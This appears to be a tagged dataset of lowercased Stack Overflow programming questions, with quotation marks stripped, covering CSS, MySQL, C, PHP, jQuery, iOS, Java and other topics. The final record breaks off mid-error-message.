css opacity box  alright so here is my css style sheet.   <pre><code> #mainheader #content{     opacity:0.35;     text-align:center;     background-color:#000000;     border-top-style:ridge;     border-left-style:ridge;     border-right-style:ridge;     border-bottom-style:ridge; } </code></pre>   and as you can see it s a box that s see through  but has a small black background making text look fuzzy. example.    <a href= http://i.stack.imgur.com/18doz.png  rel= nofollow >http://i.stack.imgur.com/18doz.png</a>    when i take away that background color i get more clear text like this...    <a href= http://i.stack.imgur.com/ixlva.png  rel= nofollow >http://i.stack.imgur.com/ixlva.png</a>    alright so what i m trying to say it what can i write to have that text above that box being very clear text and not with it s dark opacity.,css
error 1044 (42000): access denied for user   @ localhost  to database  db   i want to begin writing queries in mysql.    <code>show grants</code> shows:   <pre><code>+--------------------------------------+ | grants for @localhost                | +--------------------------------------+ | grant usage on *.* to   @ localhost  | +--------------------------------------+ </code></pre>   i do not have any user-id but when i want to make a user i don t have privilleges  also i don t know how to make privileges when even i don t have one user!   <pre><code>mysql&gt; create user  parsa @ localhost  identified by  parsa ; error 1227 (42000): access denied; you need (at least one of) the create user pr ivilege(s) for this operation </code></pre>   i tried to sign in as root:   <pre><code>mysql&gt; mysql -u root -p; error 1064 (42000): you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  mysql  -u root -p  at line 1 mysql&gt; mysql -u root -p root; error 1064 (42000): you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  mysql  -u root -p root  at line 1 </code></pre>,mysql
printing a double without the decimal places  i have a number stored as a <code>double</code> and want to print it without the decimal places.  so if i had the double value <code>919545634521.000000</code>  it is always printed with the decimal places added to it.  how can i print it without it so it looks like: <code>919545634521</code>    <pre><code>#include&lt;stdlib.h&gt;  int main() {     double number = 9220343120;     printf( %  \n   number); } </code></pre>,c
inversion of css rules  i m searching for maybe existing processor of css which help me apply inverted kind of thinking in css. i want apply something like that   <pre><code>(margin-left:50px;font-weight:bold):{     .top-header;     .fother&gt;.first; } </code></pre>   on some layout it help me think more clear.,css
asp.net gridview template column  in my asp.net gridview  i am placing a template column which displays an image.    inside the template column i added an image control  and it successfully displaying the images from the database. i am also using paging.    paging also happening but when i do paging images are not coming in the gridview in proper order for example first three pages it diplays suppose a.jpg  b.jpg c.jpg and when i click on page number it repeats the same picture instead of remaining pictures  i am using <code>if(!ispostback)</code> in the load event also. please help me out.    my code in page load event is:    da = new sqldataadapter( select * from t1   con);         ds = new dataset();         da.fill(ds);         path = server.mappath(@ ~\images );         if (!ispostback)         {             gridview1.datasource = ds;         gridview1.databind();   <pre><code>    asciiencoding asc = new asciiencoding();     int j = gridview1.rows.count;      for (int i = 0; i &lt; j; i++)     {          gridviewrow r=gridview1.rows[i];         b = (byte[])ds.tables[0].rows[i][ photo ];         string name = asc.getstring(b);         image img = (image)r.findcontrol( image1 );         img.imageurl = path + @ \  + name;      }     } </code></pre>   and my code in paging event is    gridview1.pageindex = e.newpageindex;         gridview1.datasource = ds;         gridview1.databind();         asciiencoding asc = new asciiencoding(); int j = gridview1.rows.count;   <pre><code>    for (int i = 0; i &lt; j; i++)     {          gridviewrow r=gridview1.rows[i];         b = (byte[])ds.tables[0].rows[i][ photo ];         string name = asc.getstring(b);         image img = (image)r.findcontrol( image1 );         img.imageurl = path + @ \  + name;      } </code></pre>   thank in advance sangita,asp.net
error in the query (2) <pre><code>select m_name  m_status  p_num  p_date  g_code group_concat(g_code)   from  (select d.m_name  d.m_status  a.p_num  a.p_date  c.g_code             from post a                     left outer join postgoods b                            on a.p_num = b.p_num                    left outer join goodscode c                            on b.g_num = c.g_num join member d on a.m_num = d.m_num          order by a.p_date desc) group by p_num </code></pre>   i do not know whether this code where the error,mysql
html - why boolean attributes do not have boolean value   i noticed that some elements have attributes which are boolean. i wonder why the values are not true or false  or 1 and 0  are there any reason behind why they are like this    <pre><code>&lt;option selected= selected &gt;ham burger&lt;/option&gt; </code></pre>   or   <pre><code>&lt;input type= button  disabled= disabled  /&gt; </code></pre>   thanks in advance!,html
music from other apps stops playing when my app starts  when i start my app music from other apps stops playing.    i ve tried adding the <code>setcategory:avaudiosessioncategoryambient</code> in <code>didfinishlaunchingwithoptions</code> but the music still stops on first launch. if i start the music and goes back to the app with home button the music will continue to play. is there any workaround for the first launch issue     snippet i ve added:   <pre><code>// make sure music plays while sounds play. [[avaudiosession sharedinstance] setcategory:avaudiosessioncategoryambient error:nil]; [[avaudiosession sharedinstance] setactive:yes error:nil]; </code></pre>,ios
user name is not displayed  i m trying to display username (cocname)  but nothing happened. do you see why  there is no error but the username is missing also and  hello  is not displayed.thank you.   <pre><code>&lt; php session_start(); include_once  config.php ; $prepend =  &lt;span class= cocname &gt; ; $append =  &lt;/span&gt; ; if (!isset($_session[ email ])) { header( location: signin.php ); } $query =  select cocname from users where email= .$_session[ email ]; $result = $connect-&gt;query($query); if ($result-&gt;num_rows &gt; 0) { while($row = $result-&gt;fetch_assoc())     {         echo $prepend. hello  .$row[ cocname ].$append;     }  }  &gt; </code></pre>,php
using  \n  while writing code in c  i m a beginner in c  and i wrote this code. i wonder why this doesn t work with a  \n  but it still works with  \t . can someone please help me  thank you.   <pre><code>int count=0;  while(1) {     key[count]=getch();      if(key[count]== \n ) //the condition works well when a  \t  is used instead     {         break;     }      else     {         printf( * );     }      count++; } </code></pre>,c
subquery not working and giving two columns  i have the following query: i want the subquery to return only ids   but it is also returning distance. also  i can t remove the distance column as it is used in having.   <pre><code>select * from offers  offer_id in (select (((acos(sin((30.1*pi()/180)) * sin((`latitude`*pi()/180)) +cos((30.1*pi()/180)) * cos((`latitude`*pi()/180)) * cos(((70.2- `longitude`)*pi()/180))))*180/pi())*60*1.1515) as distance id from id_master having distance &lt;=4)  </code></pre>   i have tried many ways but still not working.,mysql
"angularjs $http.get() success callback not be called on cross domain  i am developing a small application use angularjs. the html pages are local file which will not deploy on web server. i defined a service module which will call the remote webapi to get the json data  however my success callback not be invoked.     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> $http({ method:  get   url: remoteserviceuri }).
  success(function (data  status) {
  var response = data;
  }).
  error(function (data  status) {
  var error = data;
  });</code></pre>
 </div>
 </div>
     it always call into the error method. how can i resolve this issue please  i can confirm that the service api work fine  as i tried deploy the page and webapi on the same site  in this case  it works.    is this caused by the cross domain or any configuration required  thanks.",angularjs
uitextview userinteraction not working  i have an <code>uimageview</code> and on that i have a <code>uitextview</code> when i take this <code>uimageview</code> for cropping and return back my keyboard is not showing but i can change my text color and text size and i also can not move my <code>uitextview</code> through <code>pangesture</code>. i have done image rendering for adding <code>uitextview</code> to the <code>uimageview</code> through following code:   <pre><code>[passingimageview addsubview:textview]; [canvas addsubview:passingimageview];  uigraphicsbeginimagecontext(canvas.bounds.size); [canvas.layer renderincontext:uigraphicsgetcurrentcontext()];  uiimage *resultingimage = uigraphicsgetimagefromcurrentimagecontext();  uigraphicsendimagecontext(); return resultingimage; </code></pre>,ios
how to disable jdaychooser  i am using a jdatechooser. how do i disable editing option on the text field that appears  it canot be change.   <pre><code>jdatechooser chooser = new jdatechooser(); chooser.disable(); </code></pre>,java
how can i clear remnants of elements left by jquery slidetoggle in ff 5.0  i am using slidetoggle on several divs.  in firefox 5.0 the slidetoggle works but leaves remnants of the element behind  some chopped text in one case  in another it leaves a partial table.  when i use firebug inspect to see if something is actually there the remnants disappear.  it works fine in ie.  is there anyway to prevent this   has anyone else seen it,jquery
"how to iterate through a linked list in javascript  someone shared this beautifully elegant way to create a linked list from an array.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function removekfromlist(l  k) {
   let list = l.reduceright((value  next)=&gt;({next  value})  null);
   console.log(list);
 }
 
 let l = [3  1  2  3  4  5];
 let k = 3;
 
 removekfromlist(l  k);</code></pre>
 </div>
 </div>
     it s pretty easy to iterate arrays (for  filter  map  reduce  etc.) but a linked list has none of those features. i need to iterate through to remove k values from the list. i m guessing i need to create a variable for the current node and use a while loop  but there s no documentation on this. i ve seen some repl code doing it but it seems unnecessarily complicated.     how do you iterate through a linked list in javascript",javascript
counting total occurrence of values  <strong>i want to find the number of employees at the time when store is open</strong>    <pre><code>select count(e.employeeid) as punchcount from storemonitoring as s inner join employeeinandout as e on e.storemonitoringid=s.storemonitoringid  where s.businessstarttime= (e.punchtime) and s.storemonitoringid= 12we  group by e.employeeid </code></pre>   i want like this   <pre><code>total emp at open  -----------------  3    </code></pre>   <strong>how can i achieve this </strong>,sql
how do you get back to the original string from nstextcheckingresult   i understand that a nsurl is returned on the nstextcheckingresult  but how can you get back to the original string.  nsurl formats the url  unless there is a method on here that gets you back to the original url.       <pre><code>nserror *error = nil;  nsdatadetector *detector = [nsdatadetector datadetectorwithtypes:                                 (nstextcheckingtypelink | nstextcheckingtypephonenumber)                                                                error:&amp;error];     [detector enumeratematchesinstring:html          options:0          range:nsmakerange(0  [html length])          usingblock:^(nstextcheckingresult *result  nsmatchingflags flags  bool *stop) {             if (result.resulttype == nstextcheckingtypelink) {                  nslog(@ original string is %@      );            }          }     }]; </code></pre>,objective-c
in directive  i can not get to the `getuser` method located in authservice  in directive  i can not get to the <code>getuser</code> method located in authservice:   <pre><code>    angular.module( app ).directive( guard   [ function ( authservice) {          return {             restrict:  a               link: function (scope  element  attrs) {             //     element.hide();                  function currentuserhasanypermission(requiredp) {                     return authservice.getuser().then(function (currentuser) {                        var currentuserp = currentuser.permissions;                         return _.intersection(currentuserp  requiredp).length &gt; 0;                     });                 }             }         };      }]); </code></pre>   returns an error:   <pre><code>cannot read property  getuser  of undefined    at currentuserhasanypermission </code></pre>,angularjs
repeatable background line in table for html email  i ve been looking all over for a tutorial on how to make repeatable lines in an html email. here is a portion of the code that im using in the table:    <pre><code> &lt;td colspan= 2 &gt;&lt;table align= center  border= 0  cellspacing= 0  width= 500  height= 5  background= https://s3.amazonaws.com/thryll/email-images/line-piece.png  style= background-repeat:repeat-x; &gt;&lt;/table&gt;&lt;/td&gt; </code></pre>   i ve tried several other tutorials without any success. there has to be a way to do this considering it was done in the attached picture from another email. it s even working in,html
group by column and get the best from others column  i will show you with an example what i need.    this is my table with some data:   <pre><code>td_time | td_wave | td_userid_1 | td_userid_2 15          | 1             | 100                | 200 21          | 2             | 300                | 400 9            | 1             | 500                | 600 35          | 3             | 700                | 800 20          | 3             | 900                | 1000 88          | 4             | 1100              | 1200 </code></pre>   i need the best <code>td_time_seconds</code> from every <code>td_wave</code> and the best users associated with that  record .    this is the query i used:   <pre><code>select min(td_time_seconds)  td_wave  td_userid_1  td_userid_2 from test group by td_wave order by td_time_seconds asc </code></pre>   and return the following:   <pre><code>td_time | td_wave | td_userid_1 | td_userid_2 9            | 1             | 100                | 200 20          | 3             | 700                | 800 21          | 2             | 300                | 400 88          | 4             | 1100              | 1200 </code></pre>   the problem  the query return the first <code>td_userid_1</code> and <code>td_userid_2</code>.    <code>td_userid_1</code> and <code>td_userid_2</code> when <code>td_wave = 1</code> should be 500 and 600 and when <code>td_wave = 3</code> should be 900 and 1000.,mysql
if there is a button in a link  when i click this button  how to avoid the link   if there is a button in a link  when i click this button  how to avoid the link,jquery
mysql auto increment - use 1st available blank instead of the last number  instead of automatically adding the the id number after the last highest id number  how can i:    automatically add the next available blank in sequence.    ie    i have a table with the following id s that are taken    1 2 5 9    instead of auto incrementing so the next one is 10  i d like to know if possible i can automatically make the next id 3.    i have many id s that need filling before i start adding more to the end.,mysql
what is the reason i cannot have an object named category   is the name <code>category</code> restricted in objective-c      if i create an object name <code>category</code> that subclasses <code>nsobject</code>on a new project i get and error saying <code>redefinition of  category  as different kind of symbol</code>.    for example:    <code>category.h</code>   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface category : nsobject  @end </code></pre>   <code>category.m</code>   <pre><code>#import  category.h   @implementation category  @end </code></pre>,objective-c
subclass does not inherit grandparent properties  i have the following c++ code:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; using namespace std;  class surface { public:     virtual void draw(); protected:     int x y; };  class control: public surface { public:     control(): x(10)  y(10)  name( control ) { cout &lt;&lt;  control constructor  &lt;&lt; endl; }     void draw() {} protected:     string name; };  class label: public control { public:     label(): x(10)  y(10)  name( label )  text( label ) { cout &lt;&lt;  label constructor  &lt;&lt; endl; }     void draw() { cout &lt;&lt;  drawing a label  &lt;&lt; endl; }  protected:     string text; };  int main(int argc  const char *argv[]) {     label l;     return 0; } </code></pre>   when trying to compile  i get the following errors:   <pre><code>$ g++ main.cpp main.cpp: in constructor  control::control() : main.cpp:16:16: error: class  control  does not have any field named  x  main.cpp:16:23: error: class  control  does not have any field named  y  main.cpp: in constructor  label::label() : main.cpp:25:14: error: class  label  does not have any field named  x  main.cpp:25:21: error: class  label  does not have any field named  y  main.cpp:25:28: error: class  label  does not have any field named  name  </code></pre>   i don t understand why aren t <code>control</code> and <code>label</code> inheriting <code>surface</code>s properties,c++
why does overflow:hidden break vertical alignment of peer inline-block elements   compare these two jsfiddles:   <ul> <li><a href= http://jsfiddle.net/am28dsbz  rel= nofollow >http://jsfiddle.net/am28dsbz</a> </li> <li><a href= http://jsfiddle.net/am28dsbz/1/  rel= nofollow >http://jsfiddle.net/am28dsbz/1/</a></li> </ul>   why does the first show my text aligned as i expect  yet the second displays the first link lower than the second     stack overflow wants me to include the code from them  so here is the first:   <pre><code>&lt;ul&gt;     &lt;li&gt;         &lt;a class= link1 &gt;hello&lt;/a&gt;         &lt;span&gt;&lt;/span&gt;         &lt;a class= link2  href= www.google.com &gt;there&lt;/a&gt;     &lt;/li&gt; &lt;/ul&gt;  .link1 {     display: inline-block; } .link2 {     display: inline-block; } </code></pre>   the second only adds a single line the overflow:   <pre><code>.link2 {     display: inline-block;     overflow: hidden; } </code></pre>,css
browser does not replace special characters  when inserted into the  title  text with character codes - they are not replaced.<br/><br/> example:<br/> <strong>original text:</strong> 0001_sometext_test<br/><br/> <strong>after replacing underscores</strong>   <pre><code>0001&amp;#95;sometext&amp;#95;test </code></pre>   <br/> <a href= https://i.stack.imgur.com/zjecu.png  rel= nofollow noreferrer >displays the dom</a>    can you please tell how to fix a text display,html
jquery tabs is not working properyly  can you guide me on the following code in <code>jquery</code>. i have put alert inside the event but i donot get alert.   <pre><code> &lt;script type= text/javascript &gt;     $(document).ready(function() {         alert( it alert me here ); // i am getting alert here.         $( #listtabs ).tabs({             select:function(event  ui)             {                 alert( this function is not calling. ); // i am not getting alert here.                 var index = ui.index;                 if ($( #sidelist-  + index).css( display ) ==  none )                 {                     flip( #sidelist-  + index);                 }             }         });     }); </code></pre>,jquery
how to query multiple linked record to return one row in sql  i have two tables like this:   <pre><code>product table                        identity table   product | role  | id                  id | flag --------+-------+----                 ---+----- a       | phone | 1                    1 |  y a       | ipad  | 2                    2 |  y a       | pc    | 3                    3 |  n </code></pre>   i want to query this table in such a way that i get following result (all products where flag is y):   <pre><code>product | role1  | role2  --------+--------+------------- a       | phone  | ipad  </code></pre>   please suggest how this can be done.,sql
how to save songs in sqllite database   i want to save songs in sqllite database in my app. and want to listen offline music. my app is online play music and playing music online from links please guide. thanks in advance,android
columns goes downwards in some pages  i am currently working with woocommerce. after i try to add some products to my page. columns goes downwards as you can see here: <a href= http://citereja.pe.hu/nb/produktai/  rel= nofollow >http://citereja.pe.hu/nb/produktai/</a> i have checked all the properties and only if i change line-height to 0% columns are displayed in one line. but if i do that it ruins other things so its not a good solution. i don t know why but in my other page it displays propertly: <a href= http://citereja.pe.hu/lt/apie-mus/  rel= nofollow >http://citereja.pe.hu/lt/apie-mus/</a>    i am sorry for not being very specific  because i am not sure where the problem is. thank you,css
how to know what type of optical media is in the drive using .net  after taking a look at the information available in the wmi i discovered that there was no difference in the listed properties between having a cd r disk inserted or a dvd r inserted so wmi doesn t seem to know this information.     however  in windows 7 with auto-play turned on it always pops a dialog that knows the media type and even if it is a blank disk. also windows explorer knows the difference. anybody know how to access this information through system calls or directly in .net (2.0  3.0  3.5  or 4.0),.net
where do you store ad-hoc properties in a relational database   lets say you have a relational db table like inventory_item.  it s generic in the sense that anything that s in inventory needs a record here.  now lets say there are tons of different types of inventory and each different type might have unique fields that they want to keep track of (e.g. forks might track the number of tines  but refrigerators wouldn t have a use for that field).  these fields must be user-definable per category type.    there are many ways to solve this:   <ol> <li>use alter table statements to actually add nullable columns on the fly (yuk)</li> <li>have two tables with a one-to-one mapping  inventory_item  and inventory_item_user  and use alter table statements to add and remove nullable columns from the latter table on the fly (a bit nicer).</li> <li>add a custom_property table  and a custom_property_value table  and add/remove rows in custom_property when the user adds and removes rows  and store the values in the latter table.  this is nice and generic  but the performance would suffer.  if you had an average of 20 values per item  the number of rows in custom_property_value goes up at 20 times the rate  and you still need to include columns in custom_property_value for every different data type that you might want to store.</li> <li>have one big varchar(max) field on inventory_item to store custom properties as xml.</li> <li>i guess you could have individual tables for each category type that hangs off the inventory_item table  and these get created/destroyed on the fly when the user creates inventory types  and the columns get updated when they add/remove properties to those types.  seems messy though.</li> </ol>   is there a best-practice for this   it seems to me that option 4 is clean  but doesn t allow you to easily search by the metadata.  i ve used a variant of 3 before  but only on a table that had a really small number of rows  so performance wasn t an issue.  it always seemed to me that 2 was a good idea  but it doesn t fit well with auto-generated entity frameworks  so you d have to exclude the custom properties table from the entity generation and just write your own custom data access code to handle it.    am i missing any alternatives   is there a way for sql server to  look into  xml data in a column so it could actually do stuff with option 4 now,sql
centering some floated div without width  i have some floated divs where i can t use display: inline-block because some of those divs are jqxswitchbuttons and using that inline-block would mess everything around those buttons.    <a href= http://jsfiddle.net/luigino/ps3ze/  rel= nofollow >here</a> is a jsfiddle example where i commented some lines that are jqxswitchbuttons and i d like to center in the middle those divs.    code from jsfiddle:   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1  /&gt; &lt;/head&gt; &lt;body&gt;     &lt;center&gt;             &lt;table style= padding:1px;margin:1px;color:#00417b;font-size:12px;border:2px solid #525252;border-collapse: collapse;background-color:white;width: 100%;  border=1&gt;             &lt;tr&gt;&lt;td&gt;             &lt;div style= display: block; align:center; width: 100%; margin-left: auto; margin-right: auto; padding-right: auto; padding-left: auto; text-align: center; &gt;              &lt;div style= float: left; margin-top: 5px; font-weight: bold;  &gt;element 1&lt;/div&gt;             &lt;div&gt;&lt;div style= float: left; margin-left: 5px; margin-right: 5px; margin-top: 2px; margin-bottom: 2px; border: 0.1em solid green; width: 10px; height: 21px; &gt;&lt;div id= element_1  style= float: left; &gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;!-- jqxswitchbutton --&gt;              &lt;div style= float: left; margin-top: 5px; font-weight: bold;  &gt;element 2&lt;/div&gt;             &lt;div&gt;&lt;div style= float: left; margin-left: 5px; margin-right: 5px; margin-top: 2px; margin-bottom: 2px; border: 0.1em solid green; width: 10px; height: 21px; &gt;&lt;div id= element_2  style= float: left; &gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;!-- jqxswitchbutton --&gt;              &lt;div style= float: left; margin-top: 5px; font-weight: bold;  &gt;element 3&lt;/div&gt;             &lt;div&gt;&lt;div style= float: left; margin-left: 5px; margin-right: 5px; margin-top: 2px; margin-bottom: 2px; border: 0.1em solid green; width: 10px; height: 21px; &gt;&lt;div id= element_3  style= float: left; &gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;!-- jqxswitchbutton --&gt;              &lt;div style= float: left; margin-left: 1px &gt;|&lt;/div&gt;              &lt;div style= float: left; margin-left: 2px &gt;&lt;input type= button  id= btncompute  value= compute  onclick= compute()  style= margin-top: 4px &gt;&lt;/div&gt;              &lt;div style= float: left; margin-left: 1px &gt;|&lt;/div&gt;              &lt;div style= float: left; margin-top: 5px; margin-left: 2px; font-weight: bold;  &gt;auto-compute&lt;/div&gt;             &lt;div&gt;&lt;div style= float: left; margin-left: 5px; margin-right: 5px; margin-top: 2px; margin-bottom: 2px; border: 0.1em solid green; width: 10px; height: 21px; &gt;&lt;div id= recompute  style= float: left; &gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;!-- jqxswitchbutton --&gt;              &lt;div style= float: left; margin-top: 5px; margin-left: 2px; font-weight: bold;  &gt;&lt;input type= checkbox  name= chkautorecompute  id= chkautorecompute  value= 0  style= display: none  &gt;&lt;/div&gt;              &lt;/div&gt;              &lt;/td&gt;&lt;/tr&gt;              &lt;/table&gt;     &lt;/center&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   any suggestions,html
trying to compile java source (could not find main class)  trying to learn java again and i cannot remember how i figured this out the first time around.    i have 3 classes; a gamelauncher  guessgame  and player. gamelauncher has my main method.    they are all packaged as chap02  i cannot remember if that is important to me yet.    i am compiling like this: javac gamelauncher.java guessgame.java player.java    running like this: java gamelauncher    i am getting this error: could not find or load main class gamelauncher.    i know this is a ridiculous issue  but i have always had trouble with this kind of stuff. the actual programming and writing code i can pick up just fine  but dealing with these damn compilers always gets me. any help would be appreciated. thanks   <pre><code>package chap02;  public class gamelauncher { public static void main (string[] args) {     guessgame game = new guessgame();     game.startgame(); } } </code></pre>   edit: the issue isn t with the actual code  the issue is with how i am compiling it.,java
stack around the variable     was corrupted <pre><code>void gameboard::enterships() {     char location[1];     int ships = 0;     int count = 1;      while(ships &lt; num_ships)     {         cout &lt;&lt;  enter a location for ship   &lt;&lt; count &lt;&lt;  :  ;         cin &gt;&gt; location;         cout &lt;&lt; endl;          grid[location[0]][location[1]] = ship;         ships++;         count++;     } } </code></pre>   im writing a battleship game. i have the board layouts working and the computers randomly generated ships. now i am working on this method to prompt the user to enter coordinates for the ships when i run the program  it allows me to enter 5 ships. when i enter the 6th ship  it gives me this error.   <blockquote>    stack around the variable location was corrupted.  </blockquote>   ive looked for answers online and have not found anything exclusive.    any help would be appreciated.,c++
how to apply a transformation to each element matched by jquery and meeting some condition  i have a list of checkboxes. i want to get the text of the next element from each checked box  and collect those into a new list.    i was just wandering if something like this is possible:   <pre><code>var checked_all = $( .brand-chk ).each().is( :checked )   $(this).next().text() : continue; </code></pre>   practically  i want to do this:    <pre><code>var checked_all = []; $( .brand-chk ).each(function(e) {    if($(this).is( :checked )) {       checked_all.push($(this).next().text());    } }); </code></pre>   as it is  the syntax is incorrect and <code>continue</code> is not acceptable there... could this be done,jquery
like inside a count sql  i want to use a like inside a count so i can take the number of (in this example) number of active volunteers along side the volunteerfundersid     here is what i have although something tells me i m going completely the wrong way about it .    <pre><code>select     volunteersfunderid      count( volunteercategory like  %active%  ) as numberactive from     volunteertbl group by     volunteersfunderid  </code></pre>   i m new to using this website and any feedback that isn t insults (i got the last time i posted) would be hugely appreciated.,sql
replace null to zero (query)  in my table  there are 6 columns     <pre><code>id| car plate| username| color| year| rent| </code></pre>   the last column  the data type is bit but the value is null. how to convert null to 0      thanks in advance.,sql
very big mysql table and reporting  i am looking for options for dealing with large tables in mysql. in my database there are few table with over 130 million of rows (over 70gb) increasing very fast. for reporting and analysis purposes i have to run some aggregation functions and the queries run very slow despite the indexes. i tried to make some table with consolidates data  but that is not optimal. so i am looking for option for tools i can use to solve this problem.,mysql
android xml relativelayout  i m having a little problem with my xml.    the code below displays a textview which is always at the top and a listview below.   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;  &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= fill_parent  android:layout_height= fill_parent  android:orientation= vertical  android:background= @color/hf_bg &gt;   &lt;listview android:id= @+id/listview  android:layout_width= wrap_content  android:layout_height= wrap_content  android:layout_alignparentleft= true  android:layout_below= @+id/header   android:padding= 10dp /&gt;   &lt;textview android:id= @+id/header  android:layout_width= fill_parent  android:layout_height= 40dp  android:layout_alignparenttop= true  android:layout_centerhorizontal= true  android:gravity= center  android:orientation= vertical  android:textstyle= bold  android:textsize= @dimen/hf_headertext  android:textcolor= @color/hf_headertext  android:background= @color/hf_headerbg /&gt;  &lt;/relativelayout&gt; </code></pre>   whats i m trying to do is replace the listview with a linearlayout and display this:   <pre><code>  &lt;linearlayout        android:orientation= vertical         android:layout_width= wrap_content        android:layout_height= wrap_content        android:background= @color/hf_contentbg        android:padding= 5dp &gt;        &lt;textview android:textstyle= bold         android:layout_width= wrap_content         android:layout_height= wrap_content        android:text= @string/jd_description /&gt;        &lt;textview android:id= @+id/description        android:layout_width= wrap_content         android:layout_height= wrap_content /&gt;          &lt;textview android:textstyle= bold         android:layout_width= wrap_content         android:layout_height= wrap_content        android:text= @string/jd_address /&gt;       &lt;textview android:id= @+id/address        android:layout_width= wrap_content         android:layout_height= wrap_content /&gt;        &lt;textview android:id= @+id/postcode        android:layout_width= wrap_content         android:layout_height= wrap_content /&gt;     &lt;/linearlayout&gt; </code></pre>   any one point me in the right direction,android
error when adding a default page to web.config  i have 1 webpage with a sql connection. when i run on localhost on windows 7  this error occurs.    <blockquote>    http error 500.19 - internal server error        the requested page cannot be accessed because the related configuration data for the page is invalid.        config error cannot add duplicate collection entry of type  add  with unique key attribute  value  set to  default.aspx           config file \ \d:\siplweb\website\web.config   </blockquote>  <pre><code> 120:             &lt;files&gt;  121:                 &lt;add value= default.aspx  /&gt;  122:             &lt;/files&gt; </code></pre>,asp.net
catch max_input_time php error  i need to prove to my sys admin that <strong>max_input_time</strong> in php.ini is what s stopping me from uploading large files to the server  but he wont increase it until i show him a proper error.    i looked at the manual but couldn t find anything about it.    does anyone know of a method for proving this     thank you,php
how to get number of decimal places  how would i do the following:   <pre><code>&gt;&gt;&gt; num_decimal_places( 3.2220 ) 3 # exclude zero-padding  &gt;&gt;&gt; num_decimal_places( 3.1 ) 1  &gt;&gt;&gt; num_decimal_places( 4 ) 0 </code></pre>   i was thinking of doing:   <pre><code>len((str(number) if  .  in str(number) else str(number) +  . ).rstrip( 0 ).split( . )[-1]) </code></pre>   is there another  <strong>simpler</strong> way to do this,python
i need to get the date offset by deleting the calendar and using localdatetime  i need to get the date offset by deleting the calendar and using localdatetime   <pre><code>public static localdatetime obtenerdesplazamientofecha(localdatetime fechadesde          int tipodesplazamiento  int desplazamineto) {      if (fechadesde != null) {         calendar cal = calendar.getinstance();         cal.settime(fechadesde);         cal.add(tipodesplazamiento  desplazamineto);         if (calendar.month == tipodesplazamiento) {             cal.add(calendar.day_of_month  -1);         }         return cal.gettime();     }      return null; } </code></pre>,java
what is a first class programming construct   when trying to do something fairly advanced in c# (like some sort of hack)  the concept of  first class  is raised.    for example  a method is a first class programming construct because you can do xyz with it (xyz is not what the method does  but what a method in general gives you  i can t remember what xyz was now)  but in .net 1.1 delegates were not able to be passed into methods because they were not first class programming constructs (i read something along these lines).    what exactly is a first class programming construct     thanks,.net
losing value from the table id in sql  i m new to sql and i have 2 tables with these columns:   <pre><code>table structures__|id|name|nation_id|image|  table nations______|id|nation| </code></pre>    nation_id  column is linked to nations´s table and returns nations´s table  id  column. i want to make a query from structures to get the values from  name  and  image  columns plus get the nation associated with the nation_id.     but in my code the nations s id column ends up becoming the id of the structures´s table. i m still able to get the correct value from  name  but because i need the original structures  id  to get the correct  image .    this is the code i m using:   <pre><code>$nation = mysqli_real_escape_string($conn  $_get[ nation ]); $namen = mysqli_real_escape_string($conn  $_get[ namen ]);  $sql =  select * from structures  left join nations on structures.nations_id = nations.id where nations_id like  $nation  and nations.nation like  $namen  ; </code></pre>,mysql
failed to start the application on wince  i installed a program on <code>windows ce</code>  it worked for 3-4 months.    then the battery on the device has stopped charging a couple of days have been able to charge the device  but now when you start the application issued such an error: <a href= https://i.stack.imgur.com/e3v5n.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/e3v5n.jpg  alt= enter image description here ></a>    what to do,.net
ios8 objective-c signaturepoint cgrectvalue  below is the output for  signature.rawpoints  with 32bit architecture objective-c code   <pre><code>(          nsrect: {{130  142.5}  {2.3333333  100}}            nsrect: {{136  139.5}  {2.4990008  101}}            nsrect: {{152.25  131}  {2.0691545  102}}            nsrect: {{169.75  121}  {1.7328094  103}}            nsrect: {{185.25  111}  {1.5653242  104}}            nsrect: {{196.125  104}  {1.6099705  105}}            nsrect: {{200.75  101.375}  {1.9532523  106}}      )  </code></pre>   but with 64bit architecture along with ios8 below is the output   <pre><code>(          \nlocation: 87.000000 112.000000\nvelocity: 0.000000 0.000000\nacceleration: 0.000000 0.000000\ntimestamp: 19476.794956\npressure: 1.000000\ndiameter: 4.666667\nid: 100            \nlocation: 88.000000 116.000000\nvelocity: 22.341108 89.364433\nacceleration: 499.125115 1996.500461\ntimestamp: 19476.839717\npressure: 1.000000\ndiameter: 5.006714\nid: 101            \nlocation: 92.000000 125.000000\nvelocity: 228.450167 514.012876\nacceleration: 11771.412252 24252.751985\ntimestamp: 19476.857226\npressure: 1.000000\ndiameter: 4.700317\nid: 102            \nlocation: 97.000000 134.000000\nvelocity: 298.178096 536.720573\nacceleration: 4158.268213 1354.187550\ntimestamp: 19476.873995\npressure: 1.000000\ndiameter: 4.437694\nid: 103 ) </code></pre>   the below code is not working with 64-bit architecture on the above rawpoints to find cgrectvalues.   <pre><code>cgrect r1 = [[[signature.rawpoints objectatindex:i]objectatindex:j] cgrectvalue];  </code></pre>   error:   <blockquote>    2015-06-04 19:18:45.933 mysamplecloset uat[40174:865394]   -[t1signaturepoint cgrectvalue]: unrecognized selector sent to instance 0x7f90d86b75a0 2015-06-04 19:18:45.977 mysamplecloset   uat[40174:865394] *** terminating app due to uncaught exception    nsinvalidargumentexception   reason:  -[t1signaturepoint   